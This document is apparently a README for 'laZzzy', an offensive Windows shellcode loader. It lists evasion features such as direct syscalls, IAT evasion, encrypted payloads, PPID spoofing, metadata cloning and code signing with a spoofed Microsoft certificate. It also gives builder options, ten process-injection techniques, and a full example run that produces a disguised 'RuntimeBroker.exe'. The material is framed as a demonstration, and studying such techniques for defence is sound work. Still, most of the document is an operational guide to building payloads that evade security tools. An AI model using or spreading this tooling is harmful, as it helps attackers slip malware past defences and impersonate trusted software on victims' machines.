laZzzy - Shellcode Loader, Developed Using Different Open-Source Libraries, That Demonstrates Different Execution Techniques

laZzzy is a shellcode loader that demonstrates different execution techniques commonly employed by malware. laZzzy was developed using different open-source header-only libraries.

Features

Direct syscalls and native (Nt*) functions (not all functions but most)
Import Address Table (IAT) evasion
Encrypted payload (XOR and AES)
- Randomly generated key
- Automatic padding (if necessary) of payload with NOPS (\x90)
- Byte-by-byte in-memory decryption of payload
XOR-encrypted strings
PPID spoofing
Blocking of non-Microsoft-signed DLLs
(Optional) Cloning of PE icon and attributes
(Optional) Code signing with spoofed cert

How to Use

Requirements:

Windows machine w/ Visual Studio and the following components, which can be installed from Visual Studio Installer > Individual Components:
- C++ Clang Compiler for Windows and C++ Clang-cl for build tools
- ClickOnce Publishing
Python3 and the required modules:
- python3 -m pip install -r requirements.txt

Options:

(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -h⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀
⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⣿⣯ ⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀   ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀
usage: builder.py [-h] -s  -p  -m  [-tp] [-sp] [-pp] [-b] [-d]
options:
  -h, --help  show this help message and exit
  -s          path to raw shellcode
  -p          password
  -m          shellcode execution method (e.g. 1)
  -tp         process to inject (e.g. svchost.exe)
  -sp         process to spawn (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)
  -pp         parent process to spoof (e.g. explorer.exe)
  -b             binary to spoof metadata (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)
  -d          domain to spoof (e.g. www.microsoft.com)
shellcode execution method:
   1          Early-bird APC Queue (requires sacrificial proces)
   2          Thread Hijacking (requires sacrificial proces)
   3          KernelCallbackTable (requires sacrificial process that has GUI)
   4          Section View Mapping
   5          Thread Suspension
   6          LineDDA Callback
   7          EnumSystemGeoID Callback
   8          FLS Callback
   9          SetTimer
   10         Clipboard

Example:

Execute builder.py and supply the necessary data.

(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -s .\calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\\Windows\\System32\\notepad.exe -d www.microsoft.com -b C:\\Windows\\System32\\mmc.exe⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀     ⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀
[+] XOR-encrypting payload with
        [*] Key:                        d3b666606468293dfa21ce2ff25e86f6
[+] AES-encrypting payload with
        [*] IV:                         f96312f17a1a9919c74b633c5f861fe5
        [*] Key:                           6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec
[+] Modifying template using
        [*] Technique:                  Early-bird APC Queue
        [*] Process to inject:          None
        [*] Process to spawn:           C:\\Windows\\System32\\RuntimeBroker.exe
        [*] Parent process to spoof:    svchost.exe
[+] Spoofing metadata
        [*] Binary:                     C:\\Windows\\System32\\RuntimeBroker.exe
        [*] CompanyName:                Microsoft Corporation
        [*] FileDescription:            Runtime Broker
        [*] FileVersion:                10.0.22621.608 (WinBuild.160101.0800)
        [*] InternalName:               RuntimeBroker.exe
        [*] LegalCopyright:             © Microsoft Corporation. All rights reserved.
        [*] OriginalFilename:           RuntimeBroker.exe
        [*] ProductName:                Microsoft® Windows® Operating System
        [*] ProductVersion:             10.0.22621.608
[+] Compiling project
        [*] Compiled executable:        C:\MalDev\laZzzy\loader\x64\Release\laZzzy.exe
[+] Signing binary with spoofed cert
        [*] Domain:                     www.microsoft.com
        [*] Version:                    2
        [*] Serial:                     33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6
        [*] Subject:                    /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/CN=www.microsoft.com
        [*] Issuer:                     /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06
        [*] Not Before:                 October 04 2022
        [*] Not After:                  September 29 2023
        [*] PFX file:                   C:\MalDev\laZzzy\output\www.microsoft.com.pfx
[+] All done!
        [*] Output file:                C:\MalDev\laZzzy\output\RuntimeBroker.exe

Libraries Used

Shellcode Execution Techniques

Early-bird APC Queue (requires sacrificial process)
Thread Hijacking (requires sacrificial process)
KernelCallbackTable (requires sacrificial process that has a GUI)
Section View Mapping
Thread Suspension
LineDDA Callback
EnumSystemGeoID Callback
Fiber Local Storage (FLS) Callback
SetTimer
Clipboard

Notes:

Only works on Windows x64
Debugging only works on Release mode
Sometimes, KernelCallbackTable doesn't work on the first run but will eventually work afterward